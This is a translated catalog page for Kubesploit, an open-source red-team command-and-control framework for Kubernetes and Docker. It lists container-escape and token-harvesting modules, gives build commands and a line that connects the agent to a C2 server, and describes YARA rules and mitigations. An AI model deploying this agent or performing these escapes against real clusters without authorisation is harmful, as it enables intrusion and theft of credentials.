Kubesploit

Cloud & Container Security v0.1.3 · 09.02.2022 >1 года

Кроссплатформенный C2-сервер и агент пост-эксплуатации на Go поверх HTTP/2, ориентированный на контейнеризированные среды.

v0.1.3
09.02.2022
v0.1.3
09.02.2022 current

Установка
make
export PATH=$PATH:/usr/local/go/bin
go build -o agent cmd/merlinagent/main.go
go build -o server cmd/merlinserver/main.go
показать оригинал переведено ИИ

Kubesploit

Kubesploit — это кроссплатформенный постэксплуатационный HTTP/2 сервер команд и управления (Command & Control) и агент, предназначенный для контейнеризированных сред, написанный на Golang и построенный на базе проекта Merlin от Рассела Ван Тьюла (@Ne0nd0g).

Наша мотивация

Во время исследований Docker и Kubernetes мы заметили, что большинство доступных на сегодняшний день инструментов нацелены на пассивное сканирование уязвимостей в кластере, и наблюдается нехватка инструментов, покрывающих более сложные векторы атак. Они могут позволить вам увидеть проблему, но не эксплуатировать её. Важно запустить эксплойт, чтобы смоделировать реальную атаку, которая будет использована для определения устойчивости корпоративной сети. При выполнении эксплойта отрабатывается управление киберсобытиями в организации, чего не происходит при простом сканировании проблем кластера. Это может помочь организации научиться действовать при реальных атаках, проверить, работают ли её системы обнаружения так, как ожидалось, и понять, какие изменения необходимо внести. Мы хотели создать наступательный инструмент, который будет соответствовать этим требованиям.

Но у нас была и другая причина для создания такого инструмента. У нас уже было два опенсорсных инструмента (KubiScan и kubeletctl), связанных с Kubernetes, и у нас появилась идея для новых. Вместо того чтобы создавать отдельный проект для каждого из них, мы подумали, что лучше сделать новый инструмент, который объединит все новые инструменты, и так появился Kubesploit.

Мы искали опенсорсный проект, который бы взял на себя основную работу по созданию кроссплатформенной системы, и нашли Merlin, написанный Расселом Ван Тьюлом (@Ne0nd0g), который нам подошёл.

Наша главная цель — способствовать повышению осведомлённости о безопасности контейнеризированных сред и улучшению мер защиты, реализованных в различных сетях. Всё это реализовано через фреймворк, предоставляющий соответствующие инструменты для работы пентестеров и Red Team во время их активностей в этих средах. Использование этих инструментов поможет оценить устойчивость таких сред и внести необходимые изменения для их защиты.

Что нового

Поскольку инфраструктура C&C и агента уже была реализована в Merlin, мы интегрировали Go-интерпретатор ("Yaegi"), чтобы иметь возможность запускать код на Golang с сервера на агенте. Это позволило нам писать модули на Golang, обеспечить большую гибкость модулей и динамически загружать новые модули. Это продолжающийся проект, и мы планируем добавить больше модулей, связанных с Docker и Kubernetes, в будущем.

Доступные на данный момент модули: - Побег из контейнера с помощью монтирования - Побег из контейнера с помощью docker.sock - Побег из контейнера с использованием эксплойта CVE-2019-5736 - Сканирование известных уязвимостей Kubernetes (CVE) - Сканирование портов с акцентом на сервисы Kubernetes - Сканирование сервисов Kubernetes изнутри контейнера - Облегчённая версия kubeletctl с следующими возможностями: - Сканирование контейнеров с RCE - Сканирование подов и контейнеров - Сканирование токенов из всех доступных контейнеров - Запуск команд с несколькими опциями - Побег через cGroup - Побег через модуль ядра - Побег через /var/log - Deepce: перечисление Docker (интегрированный опенсорсный проект в качестве модуля) - Проверка уязвимостей: проверка, к каким эксплойтам Kubesploit уязвим ваш контейнер

Для подробной информации о модулях ознакомьтесь со страницей Wiki

Быстрый старт

Мы создали специальную среду Kubernetes в KillerCoda для экспериментов с Kubesploit. Это полноценная симуляция с полным набором автоматизированных инструкций по использованию Kubesploit. Мы рекомендуем вам её изучить.

Запуск сервера:

./kubesploitServer  

Запуск агента:

./agent -url https://<server_ip>:443 &   

kubesploit

Сборка

Чтобы собрать этот проект, выполните команду make из корневой папки.

ПРИМЕЧАНИЕ: В настоящее время вам потребуется использовать Golang 1.18 или Go 1.19 (два последних основных релиза) в соответствии с требованиями golang, которые предъявляет traefik/yaegi v0.14.3.

Быстрая сборка

Для быстрой сборки под Linux вы можете выполнить следующую команду:

export PATH=$PATH:/usr/local/go/bin
go build -o agent cmd/merlinagent/main.go
go build -o server cmd/merlinserver/main.go

Контейнеризация

Чтобы запустить сервер в контейнере, необходимо заставить сервер Kubesploit слушать интерфейс 0.0.0.0 (а не 127.0.0.1). Вы можете обновить поле интерфейса в файле config.yaml.

примечание: убедитесь, что порты проброшены между хостом и контейнером (порт по умолчанию — 443, его также можно настроить в config.yaml)

Меры противодействия

Правила YARA

Мы создали правила YARA, которые помогут обнаруживать бинарные файлы Kubesploit. Правила записаны в файле kubesploit.yara.

Запись действий агента

Каждый модуль Go, загруженный в агента, записывается внутри машины жертвы.

Карта MITRE

Мы создали карту MITRE для векторов атак, используемых Kubesploit.

Меры противодействия для модулей

Для каждого созданного нами модуля мы описали его работу и способы защиты от него. Мы обобщили это в файле MITIGATION.md.

Участие в разработке

Мы приветствуем любые виды вклада в этот репозиторий. Инструкции по началу работы и описание наших рабочих процессов разработки вы найдёте в руководстве по участию.

Благодарности

Мы хотим поблагодарить Рассела Ван Тьюла (@Ne0nd0g) за создание Merlin как проекта с открытым исходным кодом, который позволил нам построить Kubesploit на его основе. Также мы благодарим Traefik Labs (@traefik) за создание интерпретатора Go ("Yaegi"), который позволил нам легко запускать модули Golang на удалённом агенте.

Лицензия

Copyright (c) 2021 CyberArk Software Ltd. Все права защищены. Этот репозиторий распространяется под лицензией GPL-3.0. Полный текст лицензии см. в файле LICENSE.

Поделитесь своими мыслями и отзывами

По любым комментариям, предложениям или вопросам вы можете связаться с Эвиатаром Герзи (@g3rzi) из CyberArk Labs или создать issue. Больше проектов, разработанных нами, вы найдёте на странице https://github.com/cyberark/.

Войдите, чтобы оставить комментарий